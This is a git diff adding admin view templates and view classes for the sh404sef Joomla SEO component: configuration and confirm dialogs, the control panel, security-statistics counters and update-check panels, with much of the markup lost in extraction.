    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_404.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_404.php new file mode 100644 index 00000000..76331e68 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_404.php @@ -0,0 +1,34 @@ + + +
    +form->getFieldset($this->currentFieldset->name) as $field) +{ + $tip = empty($field->tip) ? '' : ' title="' . htmlspecialchars($field->label . '::' . $field->tip, ENT_COMPAT, 'UTF-8') . '"'; +?> + +
    + +
    + input; ?> +
    +
    + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_by_component.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_by_component.php new file mode 100644 index 00000000..5465a5ef --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_by_component.php @@ -0,0 +1,57 @@ + + +
    +byComponentItemsCount, 0); +foreach ($this->form->getFieldset($this->currentFieldset->name) as $field) : + $isNewLine = $cycler->every(); + if ($isNewLine) : + ?> +
    + hidden) : ?> +
    +
    + label; ?> +
    +
    +
    + input; + $o .= '
    '; + $o .= ''; + echo $o; + $element = $field->element; + if (!empty($element['additionaltext'])) : + ?>' + +
    +
    + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_default.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_default.php new file mode 100644 index 00000000..767e6bb4 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_default.php @@ -0,0 +1,27 @@ + + +
    +form->getFieldset($this->currentFieldset->name) as $field) +{ + $renderer = empty($field->element['shlrenderer']) ? 'default' : (string) $field->element['shlrenderer']; + echo $this->layoutRenderer[$renderer]->render($field); +} + +?> +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_permissions.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_permissions.php new file mode 100644 index 00000000..494feaae --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_permissions.php @@ -0,0 +1,38 @@ + + +
    +form->getFieldset($this->currentFieldset->name) as $field) : +?> +
    +
    +
    + input; + $element = $field->element; + if (!empty($element['additionaltext'])): ?> + + +
    +
    +
    + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j2.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j2.full.php new file mode 100644 index 00000000..6fa59138 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j2.full.php @@ -0,0 +1,153 @@ + + +
    + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + + + +
    + +
    + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + sefConfig->Enabled ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + + + sefConfig->Enabled ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + +
    + sefConfig->canReadRemoteConfig ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + + + sefConfig->canReadRemoteConfig ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + +
    + +
    + sefConfig->shSecEnableSecurity ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + + sefConfig->shSecEnableSecurity ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + +
    + +
    +
    + +
    + + + + + + + + + + + + +
    +
    + +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j2.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j2.php @@ -0,0 +1,17 @@ + + +
    + + + +
    + +
    + + +
    +
    +
    >
    +
    +
    +
    + sefConfig->Enabled ? '' : 'checked="checked"'; ?>/> + + sefConfig->Enabled ? 'checked="checked"' : ''; ?>/> + +
    +
    +
    + +
    +
    +
    >
    +
    +
    +
    + sefConfig->canReadRemoteConfig ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + + sefConfig->canReadRemoteConfig ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + +
    +
    +
    + +
    +
    +
    >
    +
    +
    + +
    +
    + +
    +
    +
    >
    +
    +
    +
    + sefConfig->shSecEnableSecurity ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + + sefConfig->shSecEnableSecurity ? '' : 'checked="checked"'; ?> class="inputbox" size="2" /> + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + + + + + + + + + + + + +
    +
    + +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j3.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j3.php @@ -0,0 +1,17 @@ +document = JFactory::getDocument(); +$displayData->refreshAfter = 1500; +ShlMvcLayout_Helper::render('com_sh404sef.general.refresh_parent', $displayData); + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/view.html.php new file mode 100644 index 00000000..c3bf7cac --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/view.html.php @@ -0,0 +1,67 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + if ($this->getLayout() != 'close') + { + // insert custom stylesheet + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/configuration.css'); + + switch (Sh404sefConfigurationEdition::$id) + { + case 'community': + case 'lite': + $this->byComponentItemsCount = 4; + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/configuration.community.css'); + break; + default: + $this->byComponentItemsCount = 5; + + } + + // get model + $model = $this->getModel(); + // ask for the form + $this->form = $model->getForm(); + + // prepare layouts objects, to be used by sub-layouts + $this->layoutRenderer = array(); + $this->layoutRenderer['default'] = new ShlMvcLayout_File('com_sh404sef.configuration.fields.default', sh404SEF_LAYOUTS); + $this->layoutRenderer['shlegend'] = new ShlMvcLayout_File('com_sh404sef.configuration.fields.legend', sh404SEF_LAYOUTS); + $this->layoutRenderer['Rules'] = new ShlMvcLayout_File('com_sh404sef.configuration.fields.rules', sh404SEF_LAYOUTS); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapModalFixCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/j3_list.css'); + } + } + + parent::display($this->joomlaVersionPrefix); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/view.raw.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/view.raw.php new file mode 100644 index 00000000..595e99c8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/view.raw.php @@ -0,0 +1,132 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + $layout = $this->getLayout(); + + switch ($layout) + { + case 'qcontrol': + $this->_doQuickControl($this->joomlaVersionPrefix); + break; + default: + $this->_doDefault($tpl); + break; + } + } + + /** + * Ajax response handler for any configuration dialog + * except quick control panel + * + * @param string $tpl + */ + private function _doDefault($tpl) + { + // prepare elements of respn + $this->taskexecuted = $this->getLayout(); + $errors = $this->getError(); + $task = JRequest::getCmd('task'); + switch ($task) + { + case 'apply': + // applying : dialog box not going to be closed + if (($this->taskexecuted == 'default' || $this->taskexecuted == 'ext') && empty($errors)) + { + // no errors, insert success messages + $this->message = '
  • ' . JText::_('COM_SH404SEF_ELEMENT_SAVED') . '.

  • ' + . JText::_('COM_SH404SEF_MAY_NEED_PURGE_DIALOGBOX') . '
  • '; + } + else if (empty($errors)) + { + $this->message = JText::_('COM_SH404SEF_ELEMENT_SAVED'); + } + break; + case 'save': + // box is going to be close, we want to redirect so that message is displayed + if (($this->taskexecuted == 'default' || $this->taskexecuted == 'ext') && empty($errors)) + { + // no errors, tell user they must purge urls + $messagecode = 'COM_SH404SEF_MAY_NEED_PURGE'; + } + else if (empty($errors)) + { + // no errors, but no need to purge : seo settings, security settings, etc + $messagecode = 'COM_SH404SEF_ELEMENT_SAVED'; + } + $this->redirectTo = $this->defaultRedirectUrl; + $this->messagecode = $messagecode; + break; + } + + // use helper to prepare response + $response = Sh404sefHelperGeneral::prepareAjaxResponse($this); + + // declare document mime type + $document = JFactory::getDocument(); + $document->setMimeEncoding('text/xml'); + + // output resulting text, no need for a layout file I think + echo $response; + } + + private function _doQuickControl($tpl) + { + // get configuration object + $sefConfig = Sh404sefFactory::getConfig($reset = true); + + // push it into to the view + $this->sefConfig = $sefConfig; + + $messages = JFactory::getApplication()->getMessageQueue(); + $noMsg = JRequest::getInt('noMsg', 0); + $this->error = array(); + // push any message + if (is_array($messages) && !empty($messages)) + { + foreach ($messages as $msg) + { + if (!empty($msg['message'])) + { + $msg['type'] = isset($msg['type']) ? $msg['type'] : 'info'; + if ($msg['type'] != 'error') + { + if (empty($noMsg)) + { + $this->message = $msg['message']; + } + } + else + { + $this->errors[] = $msg['message']; + } + } + } + } + + parent::display($tpl); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/default_j2.php new file mode 100644 index 00000000..aee6eb37 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/default_j2.php @@ -0,0 +1,170 @@ + +
    + + + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + +redirectTo)) { + return; +} + +?> +
    +
    +
    +
    +
    +
    +
    + +
    + +
    + mainText)) { + echo $this->mainText; + } + + ?> + + + + + + + + cid)) { + foreach( $this->cid as $cid) { + echo ' ' . "\n"; + } + } + + // option hidden text as provided by the calling controller + if (!empty( $this->hiddenText)) { + echo $this->hiddenText; + } + ?> + + +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    + toolbar) ? '' : $this->toolbar->render(); ?> + toolbar) ? '' : $this->toolbarTitle; ?> +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/default_j3.php new file mode 100644 index 00000000..312a4d05 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/default_j3.php @@ -0,0 +1,94 @@ +redirectTo)) +{ + + // render a refresh_parent layout + /** + * This layout only insert javascript to close a modal windows + */ + $displayData = new stdClass(); + $displayData->refreshAfter = 0; + $displayData->refreshTo = '"' . $this->redirectTo . '"'; + ShlMvcLayout_Helper::render('com_sh404sef.general.refresh_parent', $displayData); + return; +} +if(strpos( $this->task, 'del') !== false) { + $buttonLabel = 'JTOOLBAR_DELETE'; + $buttonClass = 'btn-danger'; + $icon = ' '; + $textClass = 'error'; +} +else +{ + $buttonLabel = 'COM_SH404SEF_OK'; + $buttonClass = 'btn-primary'; + $icon = ''; + $textClass = 'info'; +} + +?> +
    + + + +
    + +
    + +
    + mainText)) { + echo ShlHtmlBs_Helper::alert($this->mainText, $textClass, $dismiss = false); + } + ?> +
    + +
    + + + + + + + + cid)) { + foreach( $this->cid as $cid) { + echo ' ' . "\n"; + } + } + + // option hidden text as provided by the calling controller + if (!empty( $this->hiddenText)) { + echo $this->hiddenText; + } + ?> + + +
    +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/refresh_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/refresh_j3.php new file mode 100644 index 00000000..0164e682 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/refresh_j3.php @@ -0,0 +1,17 @@ +refreshAfter = 1500; +ShlMvcLayout_Helper::render('com_sh404sef.general.refresh_parent', $displayData); + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/view.html.php new file mode 100644 index 00000000..36fe0f55 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/view.html.php @@ -0,0 +1,122 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + // get action + $this->task = empty($this->task) ? 'delete' : $this->task; + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapModalFixCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/j3_list.css'); + if (!empty($this->redirectTo) && !empty($this->message)) + { + // redirecting to parent page, but there's a message + // let's enqueue it, so it's displayed after the redirect + JFactory::getApplication()->enqueueMessage($this->message); + } + } + else + { // J2 + // if redirecting to another page, we need to simply send some javascript + // to : a / close the popup, b / redirect the parent page to where we + // want to go + if (!empty($this->redirectTo)) + { + $js = 'window.addEvent( \'domready\', function () { + setTimeout( \'shRedirectTo()\', 2000); + }); + function shRedirectTo() { + parent.window.location="' . $this->redirectTo . '"; + window.parent.SqueezeBox.close(); + } + '; + $document = JFactory::getDocument(); + $document->addScriptDeclaration($js); + } + else + { + // build the toolbar + $toolBar = $this->_makeToolbar(); + $this->toolbar = $toolBar; + + // add confirmation phrase to toolbar + $this->toolbarTitle = '
    ' . JText::_('COM_SH404SEF_CONFIRM_TITLE') . '
    '; + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/edit.js'); + } + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/confirm.css'); + } + + // now display normally + parent::display($this->joomlaVersionPrefix); + } + + /** + * Create toolbar for current view + * + * @param midxed $params + */ + private function _makeToolbar($params = null) + { + // if redirect is set, no toolbar + if (!empty($this->redirectTo)) + { + return; + } + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // add save button as an ajax call + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + $params['class'] = 'modalediturl'; + $params['id'] = 'modalconfirmconfirm'; + $params['closewindow'] = 1; + $bar + ->appendButton('Shajaxbutton', $this->task, JText::_('Delete'), + 'index.php?option=com_sh404sef&c=editurl&shajax=1&tmpl=component&task=' . $this->task, $params); + + // other button are standards + JToolBarHelper::spacer(); + JToolBarHelper::divider(); + JToolBarHelper::spacer(); + // we cannot use Joomla's cancel button from a popup, as they use href="#" which causes the page to load in parallel with + // closing of the popup. Need use href="javascript: void(0);" + $bar->appendButton('Shpopupstandardbutton', 'cancel', JText::_('Cancel'), $task = 'cancel', $list = false); + + return $bar; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/view.raw.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/view.raw.php new file mode 100644 index 00000000..9a93bee5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/view.raw.php @@ -0,0 +1,33 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/default_j2.php new file mode 100644 index 00000000..429efa5f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/default_j2.php @@ -0,0 +1,207 @@ + + +
    + +
    + + analyticsReportsEnabled && !empty( $sefConfig->analyticsUser) && !empty( $sefConfig->analyticsPassword); + + $analyticsOutput = + JHtml::_('tabs.panel', JText::_('COM_SH404SEF_ANALYTICS'), 'analytics') + . ShlMvcLayout_Helper::render('com_sh404sef.analytics.' . $this->joomlaVersionPrefix . '_controlpanel_' . Sh404sefConfigurationEdition::$id); + + // start pane + echo JHtml::_('tabs.start', 'left-pane', array('allowAllClose' => true, 'useCookie' => true)); + + // if enabled, we display analytics panel, in first place + if ($analyticsAvailable ) { + echo $analyticsOutput; + } + + // management icons + echo JHtml::_('tabs.panel', JText::_('COM_SH404SEF_MANAGEMENT'), 'management'); + + ?> + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + + analyticsReportsEnabled) { + echo $analyticsOutput; + } + + echo JHtml::_('tabs.end'); + ?> + +
    + + +
    +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/default_j3.php new file mode 100644 index 00000000..26becafa --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/default_j3.php @@ -0,0 +1,242 @@ + +
    + +
    +addScriptDeclaration($script); + +// instead we directly display the toolbar +echo JToolBar::getInstance('toolbar')->render(); + +?> +
    + +
    + sidebar; ?> +
    + +
    + + analyticsReportsEnabled && !empty($sefConfig->analyticsUser) && !empty($sefConfig->analyticsPassword); + ?> + + $analyticsAvailable ? 'analytics' : 'management')); + +// management icons +echo JHtml::_('bootstrap.addPanel', 'left-pane', 'management'); + ?> +
    + +
    + analyticsReportsEnabled) +{ + // analytics panel + echo JHtml::_('bootstrap.addPanel', 'left-pane', 'analytics'); + echo ShlMvcLayout_Helper::render( + 'com_sh404sef.analytics.' . $this->joomlaVersionPrefix . '_controlpanel_' . Sh404sefConfigurationEdition::$id); + echo JHtml::_('bootstrap.endPanel'); +} + +echo JHtml::_('bootstrap.endPane'); + +// prepare data for control panel tabs +$infoTabTitle = $this->updates->shouldUpdate ? ShlHtmlBs_Helper::label(JText::_('COM_SH404SEF_VERSION_INFO'), 'important') + : JText::_('COM_SH404SEF_VERSION_INFO'); +// configuration and global stats +$output = ''; +foreach ($this->sefConfig->fileAccessStatus as $file => $access) +{ + if ($access == 'COM_SH404SEF_UNWRITEABLE') + { + $output .= '' . $file . '' . JText::_('COM_SH404SEF_UNWRITEABLE') . ''; + } +} +if (!empty($output)) +{ + $output = '' . JText::_('COM_SH404SEF_NOACCESS') . '' . $output; +} + +// ad red on tab title if something special +if (!empty($output) || $this->sefConfig->debugToLogFile) +{ + $statsTabTitle = '(!) ' . JText::_('COM_SH404SEF_ACCESS_URLS_STATS') . ''; +} +else +{ + $statsTabTitle = JText::_('COM_SH404SEF_ACCESS_URLS_STATS'); +} + ?> + +
    + + +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/info_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/info_j2.php new file mode 100644 index 00000000..3227d144 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/info_j2.php @@ -0,0 +1,34 @@ + + + + + + +
    readmeFilename ); ?> +
    + +
    + + + + +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/info_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/info_j3.php new file mode 100644 index 00000000..d24cd80c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/info_j3.php @@ -0,0 +1,35 @@ + + +
    + +
    + sidebar; ?> +
    +
    + readmeFilename); + ?> +
    +
    + + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j2.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j2.full.php new file mode 100644 index 00000000..5b18ca84 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j2.full.php @@ -0,0 +1,73 @@ + + + + + + + + +
    + + + + + + + + + + + + + + shSecStats); + displaySecLine('#EFEFEF', JText::_('COM_SH404SEF_TOTAL_BASE64'),'totalBase64', $this->shSecStats); + displaySecLine('#F4F4F4', JText::_('COM_SH404SEF_TOTAL_SCRIPTS'),'totalScripts', $this->shSecStats); + displaySecLine('#EFEFEF', JText::_('COM_SH404SEF_TOTAL_STANDARD_VARS'),'totalStandardVars', $this->shSecStats); + displaySecLine('#F4F4F4', JText::_('COM_SH404SEF_TOTAL_IMG_TXT_CMD'),'totalImgTxtCmd', $this->shSecStats); + displaySecLine('#EFEFEF', JText::_('COM_SH404SEF_TOTAL_IP_DENIED'),'totalIPDenied', $this->shSecStats); + displaySecLine('#F4F4F4', JText::_('COM_SH404SEF_TOTAL_USER_AGENT_DENIED'),'totalUserAgentDenied', $this->shSecStats); + displaySecLine('#EFEFEF', JText::_('COM_SH404SEF_TOTAL_FLOODING'),'totalFlooding', $this->shSecStats); + displaySecLine('#F4F4F4', JText::_('COM_SH404SEF_TOTAL_PHP'),'totalPHP', $this->shSecStats); + displaySecLine('#EFEFEF', JText::_('COM_SH404SEF_TOTAL_PHP_USER_CLICKED'),'totalPHPUserClicked', $this->shSecStats); + ?> +
    sefConfig->shSecEnableSecurity) { + echo $this->shSecStats['curMonth']; + echo ' ['.JText::_('COM_SH404SEF_SEC_STATS_UPDATE').']'; + echo ' ('.$this->shSecStats['lastUpdated'].')'; + echo '
    '; + } else { + echo JText::_('COM_SH404SEF_SEC_DEACTIVATED'); + } + ?>
    shSecStats['totalAttacks']; ?> + shSecStats['totalAttacksHrs']).' '.JText::_('COM_SH404SEF_TOTAL_PER_HOUR').' '?> +
    + + + +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j2.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j2.php @@ -0,0 +1,17 @@ + + + + + + + + +
    + + + + + + + + + + + + + + shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_BASE64'),'totalBase64', $this->shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_SCRIPTS'),'totalScripts', $this->shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_STANDARD_VARS'),'totalStandardVars', $this->shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_IMG_TXT_CMD'),'totalImgTxtCmd', $this->shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_IP_DENIED'),'totalIPDenied', $this->shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_USER_AGENT_DENIED'),'totalUserAgentDenied', $this->shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_FLOODING'),'totalFlooding', $this->shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_PHP'),'totalPHP', $this->shSecStats); + j3displaySecLine(JText::_('COM_SH404SEF_TOTAL_PHP_USER_CLICKED'),'totalPHPUserClicked', $this->shSecStats); + ?> +
    sefConfig->shSecEnableSecurity) { + echo $this->shSecStats['curMonth']; + echo ' ' + .ShlHtmlBs_Helper::button(JText::_('COM_SH404SEF_SEC_STATS_UPDATE'), $type= '', $size='small') + .''; + echo ' ('.$this->shSecStats['lastUpdated'].')'; + echo '
    '; + } else { + echo JText::_('COM_SH404SEF_SEC_DEACTIVATED'); + } + ?>
    shSecStats['totalAttacks']; ?> + shSecStats['totalAttacksHrs']).' '.JText::_('COM_SH404SEF_TOTAL_PER_HOUR').' '?> +
    + + + +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j3.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j3.php @@ -0,0 +1,17 @@ + + +
    + + +updates->status) : ?> + + + + + + + + + + + + + + + updates->shouldUpdate) : ?> + + + + + + + + + + + + + +
    + [' + . JText::_('COM_SH404SEF_CHECK_UPDATES').']'; + ?> + + +
    + [' + . JText::_('COM_SH404SEF_CHECK_UPDATES').']'; + ?> + + updates->statusMessage; ?> +
    + + + updates->current)) { + echo $this->updates->current . ' [' + . '' + . JText::_('COM_SH404SEF_VIEW_CHANGELOG') + . ']' + . ' [' + . '' + . JText::_('COM_SH404SEF_GET_IT') + . ']'; + } + ?> +
    + + + escape($this->updates->note); + ?> +
    + Powered by Akeeba Live Update +
    + +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/updates_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/updates_j3.php new file mode 100644 index 00000000..e6de1b44 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/updates_j3.php @@ -0,0 +1,96 @@ + + +
    + + + +updates->status) : ?> + + + + + + + + + + + + + + + updates->shouldUpdate) : ?> + + + + + + + + + + + + + +
    + ' . $button .''; + ?> + + +
    + ' . $button .''; + ?> + + updates->statusMessage, $this->updates->shouldUpdate ? 'important' : 'success'); ?> +
    + + + updates->current)) { + echo $this->updates->current . ' [' + . '' + . JText::_('COM_SH404SEF_VIEW_CHANGELOG') + . ']' + . ' [' + . '' + . JText::_('COM_SH404SEF_GET_IT') + . ']'; + } + ?> +
    + + + escape($this->updates->note); + ?> +
    + Powered by Akeeba Live Update +
    + +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.html.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.html.full.php new file mode 100644 index 00000000..40d76dff --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.html.full.php @@ -0,0 +1,212 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + $this->footerText = JText::sprintf('COM_SH404SEF_FOOTER_' . strtoupper(Sh404sefConfigurationEdition::$id), + Sh404sefFactory::getConfig()->version, Sh404sefConfigurationEdition::$name, date('Y')); + + // prepare the view, based on layout + $method = '_makeView' . ucfirst($this->getLayout()); + if (is_callable(array($this, $method))) + { + $this->$method(); + } + + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_list.css'); + + parent::display($this->joomlaVersionPrefix); + } + + /** + * Attach css, js and create toolbar for default view + * + * @param midxed $params + */ + private function _makeViewDefault($params = null) + { + + // prepare database stats, etc + $this->_prepareControlPanelData(); + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // render submenu sidebar + $this->sidebar = JHtmlSidebar::render(); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + 